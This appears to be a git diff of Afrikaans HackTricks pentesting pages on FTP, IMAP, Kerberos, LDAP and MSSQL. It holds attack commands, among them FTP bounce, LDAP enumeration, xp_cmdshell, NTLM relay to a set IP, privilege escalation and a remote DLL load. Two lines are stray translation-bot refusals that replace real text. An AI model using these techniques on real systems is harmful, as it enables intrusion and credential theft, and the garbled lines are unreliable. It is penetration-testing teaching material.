Source: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/)
|
||||
|
||||
@ -105,7 +105,7 @@ Hier kan jy 'n mooi lys met standaard ftp geloofsbriewe vind: [https://github.co
|
||||
|
||||
### Geoutomatiseerd
|
||||
|
||||
Anon login en bounce FTP kontrole word standaard deur nmap uitgevoer met **-sC** opsie of:
|
||||
Anon login en bounce FTP kontrole word standaard deur nmap met **-sC** opsie uitgevoer of:
|
||||
```bash
|
||||
nmap --script ftp-* -p 21 <ip>
|
||||
```
|
||||
@ -115,7 +115,7 @@ Jy kan met 'n FTP-bediener verbind deur 'n blaaier (soos Firefox) te gebruik met
|
||||
```bash
|
||||
ftp://anonymous:anonymous@10.10.10.98
|
||||
```
|
||||
Let wel dat as 'n **webtoepassing** data wat deur 'n gebruiker beheer word **direk na 'n FTP-bediener** stuur, jy dubbele URL-kodering `%0d%0a` (in dubbele URL-kodering is dit `%250d%250a`) bytes kan stuur en die **FTP-bediener dwing om arbitrêre aksies** uit te voer. Een van hierdie moontlike arbitrêre aksies is om inhoud van 'n gebruiker se beheerde bediener af te laai, poortskandering uit te voer of te probeer om met ander teksgebaseerde dienste (soos http) te kommunikeer.
|
||||
Let wel dat as 'n **webtoepassing** data wat deur 'n gebruiker beheer word **direk na 'n FTP-bediener** stuur, jy dubbele URL-kodering `%0d%0a` (in dubbele URL-kodering is dit `%250d%250a`) bytes kan stuur en die **FTP-bediener dwing om arbitrêre aksies** uit te voer. Een van hierdie moontlike arbitrêre aksies is om inhoud van 'n gebruiker se beheerde bediener af te laai, poortskandering uit te voer of te probeer om met ander op teks gebaseerde dienste (soos http) te kommunikeer.
|
||||
|
||||
## Laai alle lêers van FTP af
|
||||
```bash
|
||||
@ -131,7 +131,7 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
|
||||
- **`USER username`**
|
||||
- **`PASS password`**
|
||||
- **`HELP`** Die bediener dui aan watter opdragte ondersteun word
|
||||
- **`PORT 127,0,0,1,0,80`** Dit sal die FTP-bediener aandui om 'n verbinding met die IP 127.0.0.1 op poort 80 te vestig (_jy moet die 5de karakter as "0" en die 6de as die poort in desimale of gebruik die 5de en 6de om die poort in hex uit te druk_).
|
||||
- **`PORT 127,0,0,1,0,80`** Dit sal die FTP-bediener aandui om 'n verbinding met die IP 127.0.0.1 op poort 80 te vestig (_jy moet die 5de karakter as "0" en die 6de as die poort in desimale of gebruik die 5de en 6de om die poort in hex te druk_).
|
||||
- **`EPRT |2|127.0.0.1|80|`** Dit sal die FTP-bediener aandui om 'n TCP-verbinding (_aangedui deur "2"_) met die IP 127.0.0.1 op poort 80 te vestig. Hierdie opdrag **ondersteun IPv6**.
|
||||
- **`LIST`** Dit sal die lys van lêers in die huidige gids stuur
|
||||
- **`LIST -R`** Lys rekursief (as toegelaat deur die bediener)
|
||||
@ -148,7 +148,7 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
|
||||
|
||||
## FTPBounce-aanval
|
||||
|
||||
Sommige FTP-bedieners laat die opdrag PORT toe. Hierdie opdrag kan gebruik word om die bediener aan te dui dat jy met 'n ander FTP-bediener op 'n sekere poort wil aansluit. Dan kan jy dit gebruik om te skandeer watter poorte van 'n gasheer oop is deur 'n FTP-bediener.
|
||||
Sommige FTP-bedieners laat die opdrag PORT toe. Hierdie opdrag kan gebruik word om die bediener aan te dui dat jy wil aansluit by 'n ander FTP-bediener op 'n sekere poort. Dan kan jy dit gebruik om te skandeer watter poorte van 'n gasheer oop is deur 'n FTP-bediener.
|
||||
|
||||
[**Leer hier hoe om 'n FTP-bediener te misbruik om poorte te skandeer.**](ftp-bounce-attack.md)
|
||||
|
||||
@ -157,7 +157,7 @@ Die teorie is eenvoudig:
|
||||
|
||||
1. **Laai die versoek (binne 'n tekslêer) na die kwesbare bediener op.** Onthou dat as jy met 'n ander HTTP of FTP-bediener wil praat, jy lyne moet verander met `0x0d 0x0a`
|
||||
2. **Gebruik `REST X` om te verhoed dat jy die karakters stuur wat jy nie wil stuur nie** (miskien om die versoek binne die lêer op te laai moes jy 'n paar beeldkop in die begin sit)
|
||||
3. **Gebruik `PORT` om met die arbitrêre bediener en diens aan te sluit**
|
||||
3. **Gebruik `PORT` om met die arbitrêre bediener en diens te verbind**
|
||||
4. **Gebruik `RETR` om die gestoor versoek na die bediener te stuur.**
|
||||
|
||||
Dit is hoogs waarskynlik dat dit **'n fout soos** _**Socket not writable**_ **sal gooi omdat die verbinding nie lank genoeg duur om die data met `RETR` te stuur nie**. Voorstelle om te probeer om dit te vermy is:
|
||||
@ -175,7 +175,7 @@ In elk geval, hier het jy 'n [ou voorbeeld oor hoe om dit te misbruik om 'n FTP-
|
||||
|
||||
## Filezilla Bediener Kwetsbaarheid
|
||||
|
||||
**FileZilla** bind gewoonlik aan **lokale** 'n **Administratiewe diens** vir die **FileZilla-Server** (poort 14147). As jy 'n **tunnel** van **jou masjien** kan skep om toegang tot hierdie poort te verkry, kan jy **verbinde** met **dit** met 'n **leë wagwoord** en **'n nuwe gebruiker** vir die FTP-diens **skep**.
|
||||
**FileZilla** bind gewoonlik **lokal** 'n **Administratiewe diens** vir die **FileZilla-Server** (poort 14147). As jy 'n **tunnel** van **jou masjien** kan skep om toegang tot hierdie poort te verkry, kan jy **verbinde** met **dit** met 'n **leë wagwoord** en 'n **nuwe gebruiker** vir die FTP-diens **skep**.
|
||||
|
||||
## Konfig-lêers
|
||||
```
|
||||
@ -194,8 +194,8 @@ Die standaardkonfigurasie van vsFTPd kan gevind word in `/etc/vsftpd.conf`. Hier
|
||||
- `anon_root=/home/username/ftp` - Gids vir anonieme gebruikers.
|
||||
- `chown_uploads=YES` - Verander eienaarskap van anoniem opgelaaide lêers
|
||||
- `chown_username=username` - Gebruiker wat eienaarskap van anoniem opgelaaide lêers ontvang
|
||||
- `local_enable=YES` - Aktiveer plaaslike gebruikers om in te log
|
||||
- `no_anon_password=YES` - Moet nie anonieme gebruikers om 'n wagwoord vra nie
|
||||
- `local_enable=YES` - Stel plaaslike gebruikers in staat om aan te meld
|
||||
- `no_anon_password=YES` - Vra nie anonieme gebruikers vir 'n wagwoord nie
|
||||
- `write_enable=YES` - Laat opdragte toe: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE, en SITE
|
||||
|
||||
### Shodan
|
||||
|
@ -14,7 +14,7 @@ Standaard werk die IMAP-protokol op twee poorte:
|
||||
PORT STATE SERVICE REASON
|
||||
143/tcp open imap syn-ack
|
||||
```
|
||||
## Banner gryp
|
||||
## Banner grabbing
|
||||
```bash
|
||||
nc -nv <IP> 143
|
||||
openssl s_client -connect <IP>:993 -quiet
|
||||
|
@ -6,7 +6,7 @@
|
||||
|
||||
**Kerberos** werk op 'n beginsel waar dit gebruikers autentiseer sonder om hul toegang tot hulpbronne direk te bestuur. Dit is 'n belangrike onderskeid omdat dit die protokol se rol in sekuriteitsraamwerke beklemtoon.
|
||||
|
||||
In omgewings soos **Active Directory** is **Kerberos** instrumenteel in die vestiging van die identiteit van gebruikers deur hul geheime wagwoorde te valideer. Hierdie proses verseker dat elke gebruiker se identiteit bevestig word voordat hulle met netwerkhulpbronne interaksie het. egter, **Kerberos** brei nie sy funksionaliteit uit om die toestemmings wat 'n gebruiker oor spesifieke hulpbronne of dienste het, te evalueer of af te dwing nie. In plaas daarvan bied dit 'n veilige manier om gebruikers te autentiseer, wat 'n kritieke eerste stap in die sekuriteitsproses is.
|
||||
In omgewings soos **Active Directory** is **Kerberos** instrumenteel in die vestiging van die identiteit van gebruikers deur hul geheime wagwoorde te valideer. Hierdie proses verseker dat elke gebruiker se identiteit bevestig word voordat hulle met netwerkhulpbronne interaksie het. egter, **Kerberos** strek nie sy funksionaliteit uit om die toestemmings wat 'n gebruiker oor spesifieke hulpbronne of dienste het, te evalueer of af te dwing nie. In plaas daarvan bied dit 'n veilige manier om gebruikers te autentiseer, wat 'n kritieke eerste stap in die sekuriteitsproses is.
|
||||
|
||||
Na autentisering deur **Kerberos** word die besluitnemingsproses rakende toegang tot hulpbronne gedelegeer aan individuele dienste binne die netwerk. Hierdie dienste is dan verantwoordelik vir die evaluering van die geverifieerde gebruiker se regte en toestemmings, gebaseer op die inligting wat deur **Kerberos** oor die gebruiker se voorregte verskaf word. Hierdie ontwerp stel 'n skeiding van bekommernisse tussen die autentisering van die identiteit van gebruikers en die bestuur van hul toegang regte in staat, wat 'n meer buigsame en veilige benadering tot hulpbronbestuur in verspreide netwerke moontlik maak.
|
||||
|
||||
@ -25,7 +25,7 @@ PORT STATE SERVICE
|
||||
|
||||
### MS14-068
|
||||
|
||||
Die MS14-068 fout laat 'n aanvaller toe om met 'n wettige gebruiker se Kerberos aanmeldtoken te sjoemel om valslik verhoogde voorregte te eis, soos om 'n Domein Admin te wees. Hierdie vals eis word verkeerdelik deur die Domeinbeheerder geverifieer, wat ongeoorloofde toegang tot netwerkbronne oor die Active Directory-woud moontlik maak.
|
||||
Die MS14-068 fout laat 'n aanvaller toe om met 'n wettige gebruiker se Kerberos aanmeldtoken te sjoemel om valslik verhoogde voorregte te eis, soos om 'n Domein Admin te wees. Hierdie vals eis word per ongeluk deur die Domeinbeheerder gevalideer, wat ongeoorloofde toegang tot netwerkbronne oor die Active Directory-woud moontlik maak.
|
||||
|
||||
{{#ref}}
|
||||
https://adsecurity.org/?p=541
|
||||
|
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
Die gebruik van **LDAP** (Lightweight Directory Access Protocol) is hoofsaaklik vir die opsporing van verskeie entiteite soos organisasies, individue en hulpbronne soos lêers en toestelle binne netwerke, beide publiek en privaat. Dit bied 'n gestroomlynde benadering in vergelyking met sy voorganger, DAP, deur 'n kleiner kodevoetspoor te hê.
|
||||
Die gebruik van **LDAP** (Lightweight Directory Access Protocol) is hoofsaaklik vir die opsporing van verskeie entiteite soos organisasies, individue, en hulpbronne soos lêers en toestelle binne netwerke, beide publiek en privaat. Dit bied 'n gestroomlynde benadering in vergelyking met sy voorganger, DAP, deur 'n kleiner kodevoetspoor te hê.
|
||||
|
||||
LDAP-gidse is gestruktureer om hul verspreiding oor verskeie bedieners toe te laat, met elke bediener wat 'n **geïmpliseerde** en **gesinkroniseerde** weergawe van die gids huisves, bekend as 'n Directory System Agent (DSA). Die verantwoordelikheid vir die hantering van versoeke lê heeltemal by die LDAP-bediener, wat met ander DSA's kan kommunikeer soos nodig om 'n verenigde antwoord aan die versoeker te lewer.
|
||||
|
||||
@ -45,7 +45,7 @@ ou:
|
||||
mail: pepe@hacktricks.xyz
|
||||
phone: 23627387495
|
||||
```
|
||||
- Lynne 1-3 definieer die topvlak domein lokaal
|
||||
- Lynne 1-3 definieer die topvlak domein local
|
||||
- Lynne 5-8 definieer die eerste vlak domein moneycorp (moneycorp.local)
|
||||
- Lynne 10-16 definieer 2 organisatoriese eenhede: dev en sales
|
||||
- Lynne 18-26 skep 'n objek van die domein en ken eienskappe met waardes toe
|
||||
@ -70,7 +70,7 @@ As LDAP sonder SSL gebruik word, kan jy **credentials in plain text** in die net
|
||||
|
||||
Ook, jy kan 'n **MITM** aanval in die netwerk **tussen die LDAP bediener en die kliënt** uitvoer. Hier kan jy 'n **Downgrade Attack** maak sodat die kliënt die **credentials in clear text** gebruik om aan te meld.
|
||||
|
||||
**As SSL gebruik word** kan jy probeer om **MITM** te maak soos hierbo genoem, maar deur 'n **valse sertifikaat** aan te bied. As die **gebruiker dit aanvaar**, kan jy die verifikasietegniek verlaag en die credentials weer sien.
|
||||
**As SSL gebruik word** kan jy probeer om **MITM** te maak soos hierbo genoem, maar deur 'n **valse sertifikaat** aan te bied; as die **gebruiker dit aanvaar**, kan jy die verifikasietegniek verlaag en die credentials weer sien.
|
||||
|
||||
## Anonymous Access
|
||||
|
||||
@ -82,8 +82,8 @@ ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
|
||||
```
|
||||
### LDAP anonieme bindings
|
||||
|
||||
[LDAP anonieme bindings](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) laat **onaangetekende aanvallers** toe om inligting van die domein te verkry, soos 'n volledige lys van gebruikers, groepe, rekenaars, gebruikersrekeningkenmerke, en die domein wagwoordbeleid. Dit is 'n **erfgename konfigurasie**, en vanaf Windows Server 2003, is slegs geverifieerde gebruikers toegelaat om LDAP versoeke te begin.\
|
||||
Tog mag admins nodig gehad het om **'n spesifieke toepassing op te stel om anonieme bindings toe te laat** en meer toegang gegee het as wat bedoel was, wat onaangetekende gebruikers toegang tot alle voorwerpe in AD gegee het.
|
||||
[LDAP anonieme bindings](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) laat **onaangetekende aanvallers** toe om inligting van die domein te verkry, soos 'n volledige lys van gebruikers, groepe, rekenaars, gebruikersrekeningkenmerke, en die domein wagwoordbeleid. Dit is 'n **erfgename konfigurasie**, en vanaf Windows Server 2003, mag slegs geverifieerde gebruikers LDAP versoeke inisieer.\
|
||||
Tog mag admins nodig gehad het om **'n spesifieke toepassing op te stel om anonieme bindings toe te laat** en meer toegang gegee het as wat bedoel was, wat onaangetekende gebruikers toegang tot alle voorwerpe in AD gee.
|
||||
|
||||
## Geldige Kredensiale
|
||||
|
||||
@ -108,7 +108,7 @@ nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Bekijk LDAP enumerasie met python</summary>
|
||||
<summary>Sien LDAP enumerasie met python</summary>
|
||||
|
||||
Jy kan probeer om **'n LDAP te enumereer met of sonder geloofsbriewe met python**: `pip3 install ldap3`
|
||||
|
||||
@ -184,7 +184,7 @@ ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_
|
||||
-w My password
|
||||
-b Base site, all data from here will be given
|
||||
```
|
||||
Onttrek **gebruikers**:
|
||||
Ekstraheer **gebruikers**:
|
||||
```bash
|
||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
|
||||
@ -193,7 +193,7 @@ ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Use
|
||||
```bash
|
||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||
```
|
||||
Ek kan nie help met daardie versoek nie.
|
||||
I'm sorry, but I cannot assist with that.
|
||||
```bash
|
||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||
```
|
||||
@ -201,7 +201,7 @@ Haal **Domein Administrators** uit:
|
||||
```bash
|
||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||
```
|
||||
Ekstraheer **Domeingebruikers**:
|
||||
Haal **Domein gebruikers** uit:
|
||||
```bash
|
||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||
```
|
||||
@ -213,7 +213,7 @@ ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Ent
|
||||
```bash
|
||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||
```
|
||||
**Afgeleide Desktop Groep**:
|
||||
**Afgeleide Desktop Groep**
|
||||
```bash
|
||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||
```
|
||||
@ -286,11 +286,11 @@ Standaard is dit geïnstalleer in: _/opt/jxplorer_
|
||||
|
||||
### Godap
|
||||
|
||||
Godap is 'n interaktiewe terminale gebruikerskoppelvlak vir LDAP wat gebruik kan word om met objekke en eienskappe in AD en ander LDAP-bedieners te kommunikeer. Dit is beskikbaar vir Windows, Linux en MacOS en ondersteun eenvoudige bindings, pass-the-hash, pass-the-ticket & pass-the-cert, saam met verskeie ander gespesialiseerde kenmerke soos soek/maak/wyzig/verwyder objekke, voeg/verwyder gebruikers uit groepe, verander wagwoorde, redigeer objektoestemmings (DACLs), wysig Aktiewe Directory Geïntegreerde DNS (ADIDNS), uitvoer na JSON-lêers, ens.
|
||||
Godap is 'n interaktiewe terminale gebruikerskoppelvlak vir LDAP wat gebruik kan word om met voorwerpe en eienskappe in AD en ander LDAP-bedieners te kommunikeer. Dit is beskikbaar vir Windows, Linux en MacOS en ondersteun eenvoudige bindings, pass-the-hash, pass-the-ticket & pass-the-cert, saam met verskeie ander gespesialiseerde kenmerke soos soek/maak/wyzig/verwyder voorwerpe, voeg gebruikers by/verwyder uit groepe, verander wagwoorde, redigeer voorwerp toestemmings (DACLs), wysig Aktiewe Katalogus Geïntegreerde DNS (ADIDNS), uitvoer na JSON-lêers, ens.
|
||||
|
||||

|
||||
|
||||
Jy kan dit toegang in [https://github.com/Macmod/godap](https://github.com/Macmod/godap). Vir gebruiksvoorbeelde en instruksies, lees die [Wiki](https://github.com/Macmod/godap/wiki).
|
||||
Jy kan dit toegang in [https://github.com/Macmod/godap](https://github.com/Macmod/godap). Vir gebruiksvoorbeelde en instruksies lees die [Wiki](https://github.com/Macmod/godap/wiki).
|
||||
|
||||
### Ldapx
|
||||
|
||||
@ -310,7 +310,7 @@ As jy toegang kan verkry tot die lêers waar die databasisse bevat is (kan wees
|
||||
```bash
|
||||
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
|
||||
```
|
||||
U kan john voed met die wagwoordhash (van '{SSHA}' tot 'structural' sonder om 'structural' by te voeg).
|
||||
U kan john voed met die wagwoord-hash (van '{SSHA}' tot 'structural' sonder om 'structural' by te voeg).
|
||||
|
||||
### Konfigurasie Lêers
|
||||
|
||||
|
@ -30,7 +30,7 @@ nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config
|
||||
msf> use auxiliary/scanner/mssql/mssql_ping
|
||||
```
|
||||
> [!NOTE]
|
||||
> As jy **nie** **akkrediteer nie** het nie, kan jy probeer om dit te raai. Jy kan nmap of metasploit gebruik. Wees versigtig, jy kan **rekeninge blokkeer** as jy verskeie kere misluk om in te log met 'n bestaande gebruikersnaam.
|
||||
> As jy **nie** **akkrediteer nie** het nie, kan jy probeer om dit te raai. Jy kan nmap of metasploit gebruik. Wees versigtig, jy kan **rekeninge blokkeer** as jy verskeie kere met 'n bestaande gebruikersnaam misluk om in te log.
|
||||
|
||||
#### Metasploit (het akkrediteer nodig)
|
||||
```bash
|
||||
@ -159,10 +159,10 @@ SELECT * FROM sysusers
|
||||
- **Server** – Voorbeelde sluit databasisse, aanmeldings, eindpunte, beskikbaarheidsgroepe, en server rolle in.
|
||||
- **Database** – Voorbeelde dek databasisrol, toepassingsrolle, skemas, sertifikate, volle teks katalogusse, en gebruikers.
|
||||
- **Schema** – Sluit tafels, weergawes, prosedures, funksies, sinonieme, ens. in.
|
||||
2. **Toestemming:** Geassosieer met SQL Server securables, toestemmings soos ALTER, CONTROL, en CREATE kan aan 'n hoofpersoon toegeken word. Bestuur van toestemmings vind op twee vlakke plaas:
|
||||
- **Servervlak** met behulp van aanmeldings
|
||||
- **Databasisvlak** met behulp van gebruikers
|
||||
3. **Hoofpersoon:** Hierdie term verwys na die entiteit wat toestemming ontvang om toegang te verkry tot 'n securable. Hoofpersone sluit hoofsaaklik aanmeldings en databasisgebruikers in. Die beheer oor toegang tot securables word uitgeoefen deur die toekenning of weiering van toestemmings of deur aanmeldings en gebruikers in rolle met toegangregte in te sluit.
|
||||
2. **Toestemming:** Geassosieer met SQL Server securables, toestemmings soos ALTER, CONTROL, en CREATE kan aan 'n hoof toegeken word. Bestuur van toestemmings vind op twee vlakke plaas:
|
||||
- **Server Vlak** met behulp van aanmeldings
|
||||
- **Database Vlak** met behulp van gebruikers
|
||||
3. **Hoof:** Hierdie term verwys na die entiteit wat toestemming ontvang om 'n securable te gebruik. Hoofde sluit hoofsaaklik aanmeldings en databasisgebruikers in. Die beheer oor toegang tot securables word uitgeoefen deur die toekenning of weiering van toestemmings of deur aanmeldings en gebruikers in rolle met toegangregte in te sluit.
|
||||
```sql
|
||||
# Show all different securables names
|
||||
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
|
||||
@ -187,7 +187,7 @@ EXEC sp_helprotect 'xp_cmdshell'
|
||||
### Voer OS Opdragte Uit
|
||||
|
||||
> [!CAUTION]
|
||||
> Let daarop dat dit nie net nodig is om **`xp_cmdshell`** **geaktiveer** te hê om opdragte uit te voer nie, maar ook om die **EXECUTE toestemming op die `xp_cmdshell` gestoor prosedure** te hê. Jy kan uitvind wie (behalwe sysadmins) **`xp_cmdshell`** kan gebruik met:
|
||||
> Let daarop dat dit nie net nodig is om **`xp_cmdshell`** **geaktiveer** te hê nie, maar ook om die **EXECUTE toestemming op die `xp_cmdshell` gestoor prosedure** te hê. Jy kan uitvind wie (behalwe sysadmins) **`xp_cmdshell`** kan gebruik met:
|
||||
>
|
||||
> ```sql
|
||||
> Use master
|
||||
@ -260,7 +260,7 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-
|
||||
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250
|
||||
```
|
||||
> [!WARNING]
|
||||
> Jy kan kyk of wie (behalwe sysadmins) toestemming het om daardie MSSQL funksies te loop met:
|
||||
> Jy kan kyk of wie (behalwe sysadmins) toestemming het om daardie MSSQL funksies uit te voer met:
|
||||
>
|
||||
> ```sql
|
||||
> Use master;
|
||||
@ -286,7 +286,7 @@ Jy kan sien hoe om hierdie gereedskap te gebruik in:
|
||||
|
||||
### **Skryf Lêers**
|
||||
|
||||
Om lêers te skryf met `MSSQL`, moet ons **Ole Automation Procedures** [**aktiveer**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), wat administratiewe regte vereis, en dan 'n paar gestoor prosedures uitvoer om die lêer te skep:
|
||||
Om lêers te skryf met `MSSQL`, moet ons **Ole Automation Procedures** [**aktiveer**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), wat admin regte vereis, en dan 'n paar gestoor prosedures uitvoer om die lêer te skep:
|
||||
```bash
|
||||
# Enable Ole Automation Procedures
|
||||
sp_configure 'show advanced options', 1
|
||||
@ -341,9 +341,9 @@ print(sys.version)
|
||||
'
|
||||
GO
|
||||
```
|
||||
### Lees Register
|
||||
### Lees Registrasie
|
||||
|
||||
Microsoft SQL Server bied **meervoudige uitgebreide gestoor prosedures** wat jou toelaat om nie net met die netwerk te kommunikeer nie, maar ook met die lêerstelsel en selfs die [**Windows Register**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:**
|
||||
Microsoft SQL Server bied **meervoudige uitgebreide gestoor prosedures** wat jou toelaat om nie net met die netwerk te kommunikeer nie, maar ook met die lêerstelsel en selfs die [**Windows Registrasie**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:**
|
||||
|
||||
| **Regulier** | **Instansie-Bewus** |
|
||||
| --------------------------- | ------------------------------------ |
|
||||
@ -380,7 +380,7 @@ Volgens[ **hierdie pos**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x
|
||||
```sql
|
||||
update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1";
|
||||
```
|
||||
Met:
|
||||
It seems that your message is incomplete. Please provide the text you would like translated to Afrikaans.
|
||||
```csharp
|
||||
using Microsoft.SqlServer.SmartAdmin;
|
||||
using System;
|
||||
@ -432,13 +432,13 @@ public void Test()
|
||||
```
|
||||
### Ander maniere vir RCE
|
||||
|
||||
Daar is ander metodes om opdraguitvoering te verkry, soos om [uitgebreide gestoor prosedures](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR Assemblies](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent Jobs](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), en [buite skripte](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql) toe te voeg.
|
||||
Daar is ander metodes om opdraguitvoering te verkry, soos om [uitgebreide gestoor prosedures](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR Assemblies](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent Jobs](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), en [eksterne skripte](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql) toe te voeg.
|
||||
|
||||
## MSSQL Privilege Escalation
|
||||
|
||||
### Van db_owner na sysadmin
|
||||
|
||||
As 'n **gewone gebruiker** die rol **`db_owner`** oor die **databasis besit deur 'n admin** gebruiker (soos **`sa`**) ontvang en daardie databasis as **`trustworthy`** geconfigureer is, kan daardie gebruiker hierdie voorregte misbruik om **privesc** te verkry omdat **gestoor prosedures** wat daar geskep is, as die eienaar (**admin**) kan **uitvoer**.
|
||||
As 'n **gereguleerde gebruiker** die rol **`db_owner`** oor die **databasis besit deur 'n admin** gebruiker (soos **`sa`**) ontvang en daardie databasis as **`trustworthy`** geconfigureer is, kan daardie gebruiker hierdie voorregte misbruik om **privesc** te verkry omdat **gestoor prosedures** wat daar geskep is, as die eienaar (**admin**) kan **uitvoer**.
|
||||
```sql
|
||||
# Get owners of databases
|
||||
SELECT suser_sname(owner_sid) FROM sys.databases
|
||||
@ -482,7 +482,7 @@ Of 'n **PS** skrip:
|
||||
Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
|
||||
Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184
|
||||
```
|
||||
### Vervangings van ander gebruikers
|
||||
### Vervalsing van ander gebruikers
|
||||
|
||||
SQL Server het 'n spesiale toestemming, genaamd **`IMPERSONATE`**, wat **die uitvoerende gebruiker toelaat om die toestemmings van 'n ander gebruiker** of aanmelding aan te neem totdat die konteks gereset word of die sessie eindig.
|
||||
```sql
|
||||
@ -533,25 +533,25 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
|
||||
|
||||
## Uittreksel van wagwoorde uit SQL Server Linked Servers
|
||||
|
||||
'n Aanvaller kan SQL Server Linked Servers wagwoorde uit die SQL Instansies uittrek en dit in duidelike teks verkry, wat die aanvaller wagwoorde gee wat gebruik kan word om 'n groter voet aan die grond op die teiken te verkry. Die skrip om die wagwoorde wat vir die Linked Servers gestoor is, uit te trek en te ontsleutel, kan [hier gevind word](https://www.richardswinbank.net/admin/extract_linked_server_passwords)
|
||||
'n Aanvaller kan SQL Server Linked Servers wagwoorde uit die SQL Instansies uittrek en dit in duidelike teks verkry, wat die aanvaller wagwoorde gee wat gebruik kan word om 'n groter voet aan die teiken te verkry. Die skrip om die wagwoorde wat vir die Linked Servers gestoor is, uit te trek en te ontsleutel, kan [hier](https://www.richardswinbank.net/admin/extract_linked_server_passwords) gevind word.
|
||||
|
||||
Sommige vereistes en konfigurasies moet gedoen word sodat hierdie uitbuiting kan werk. Eerstens moet jy Administrateurregte op die masjien hê, of die vermoë om die SQL Server Konfigurasies te bestuur.
|
||||
Sommige vereistes en konfigurasies moet gedoen word sodat hierdie ontploffing kan werk. Eerstens moet jy Administrateurregte op die masjien hê, of die vermoë om die SQL Server Konfigurasies te bestuur.
|
||||
|
||||
Na validasie van jou toestemmings, moet jy drie dinge konfigureer, wat die volgende is:
|
||||
|
||||
1. Aktiveer TCP/IP op die SQL Server instansies;
|
||||
2. Voeg 'n Beginparameter by, in hierdie geval sal 'n spoorsnyer vlag bygevoeg word, wat -T7806 is.
|
||||
3. Aktiveer afstandsadministrateurverbinding.
|
||||
2. Voeg 'n Beginparameter by, in hierdie geval sal 'n spoorkenmerk bygevoeg word, wat -T7806 is.
|
||||
3. Aktiveer afstandsadminverbinding.
|
||||
|
||||
Om hierdie konfigurasies te outomatiseer, het [hierdie berging](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) die nodige skripte. Benewens 'n powershell-skrip vir elke stap van die konfigurasie, het die berging ook 'n volledige skrip wat die konfigurasieskripte en die uittreksel en ontsleuteling van die wagwoorde kombineer.
|
||||
|
||||
Vir verdere inligting, verwys na die volgende skakels rakende hierdie aanval: [Decrypting MSSQL Database Link Server Passwords](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
|
||||
